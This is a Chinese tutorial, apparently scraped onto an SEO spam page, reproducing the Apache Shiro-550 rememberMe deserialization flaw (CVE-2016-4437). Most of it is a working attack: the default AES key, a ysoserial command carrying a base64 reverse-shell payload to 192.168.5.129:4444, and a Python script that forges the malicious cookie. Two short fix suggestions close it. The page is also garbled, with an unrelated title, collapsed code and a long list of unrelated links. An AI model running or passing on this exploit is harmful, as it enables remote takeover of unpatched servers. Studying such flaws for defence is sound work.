当前位置: 首页 > news >正文

个人网站建设与维护/中国进入一级战备2023

个人网站建设与维护,中国进入一级战备2023,入户广州网站,做个公司网站shiro Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序漏洞原理 在Apache shiro的框架中,执行身份验证时提供了…

shiro

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

漏洞原理

在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能RememberMe,如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

出现问题的点在AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码。

在这里插入图片描述
在这里插入图片描述

登录时是否选择Remember Me都不影响漏洞的复现。
在这里插入图片描述
生成base64后的反弹shell。

在这里插入图片描述
使用 ysoserial-0.0.6-SNAPSHOT-all.jar工具进行序列化,直接调用对应的模块,添加上自己的payload即可,方便快捷。
在这里插入图片描述

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  CommonsCollections2  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser

将序列化后的payload,放到python代码同一目录下,进行aes加密并进行base64转码。在这之前,首先我们要知道shiro的key值是什么,要不然G。当然,目前暴露的shiroKey值很多,可以自己写个脚本进行爆破。我使用的key值是shiro的默认值。
在这里插入图片描述

import sys
import uuid
import base64
from Crypto.Cipher import AESshiro_key = []def getKey(path):with open(path) as file:shiro_key.append(file.readlines())def encode_rememberme(shiro_key):f = open('poc.ser', 'rb')BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode(shiro_key)iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(f.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# path = "./shiroKey.txt"# getKey(path)shiro_key = 'kPH+bIxk5D2deZiIxcaaaA=='payload = encode_rememberme(shiro_key)print("rememberMe={0}".format(payload.decode()))

将生成的payload,复制到cookie的值处即可,其它的不要动。
下面这个图显示的是使用正确的账户登录显示的内容。
在这里插入图片描述
下面这个图显示的是使用非正确的账户登录显示的内容。
在这里插入图片描述
通过这两个图对比,可以发现,该漏洞不需要正确的账户,即可getshell。有一个前提条件就是需要shiro的key值。
在这里插入图片描述
发完包以后,直接getshell。

总结

shiro550漏洞,漏洞点就在于用户信息反序列化可利用,并且加密的key值给了一个固定的默认值的,导致很多开发人员直接使用,接着导致了洞的产生。

修复建议

1、及时升级shiro版本。(不要忘记升级前做备份。)
2、不再使用固定的密钥加密。

参考链接

shiro反序列化漏洞(CVE-2016-4437)漏洞复现:https://blog.csdn.net/HEAVEN569/article/details/125389987
Shiro-550 漏洞复现:https://blog.csdn.net/qq_46440393/article/details/123493079
shiro550漏洞复现与研究:https://www.163.com/dy/article/GCN65SL20511FSTO.html

http://www.jmfq.cn/news/5326957.html

相关文章:

  • 七里河微信网站建设/关键词优化简易
  • 网站建设工程师职责说明书/刷seo排名
  • 浙江省旅游企业网站建设情况/怎样策划一个营销型网站
  • 网站建设客服用户咨询话术/外贸网站有哪些平台
  • 学院门户网站建设必要性/整合营销传播方案
  • 加盟网站建设案例欣赏/哪些网站可以seo
  • 企业网站建设定制/网站软件下载
  • 宣汉县建设局网站/seo关键词排名优化软件怎么选
  • 网站诚信建设/软件推广方案经典范文
  • 网站建设的简要任务执行书/百度收录网站提交入口
  • php网站建设流程图/网络营销的主要方式和技巧
  • 高校学风建设专栏网站/seo的收费标准
  • 做好政府网站建设/关键词优化seo外包
  • 中国建设监督网站/网络推广外包怎么样
  • 百色网站建设/西安seo推广公司
  • 网络推广SEO优化网站建设/灰色seo关键词排名
  • 乐清市住房和城乡建设规划局网站/百度搜索热度排名
  • 睢县网站建设/网络营销师证
  • 建设第三方公众号平台网站教程/千万不要去电商公司上班
  • 学校网站建设项目的wbs/怎么创建自己的网站平台
  • 重庆光龙网站建设/seo怎么才能优化好
  • 图跃网站建设/网页设计框架图
  • 网站建设需要确定的问题/搜索指数的数据来源
  • 沧州网站建设培训学校/湖北荆门今日头条
  • 离石市网站建设公司/富阳seo关键词优化
  • 最专业的营销网站建设价格/百度推广账户登陆
  • 建设工程质量协会网站/百度账号登录入口网页版
  • 大学社交网站建设日程表/网站推广策划案
  • 上海网站建设哪家公司好/58同城发布免费广告
  • 高青网站建设/网络营销是以什么为基础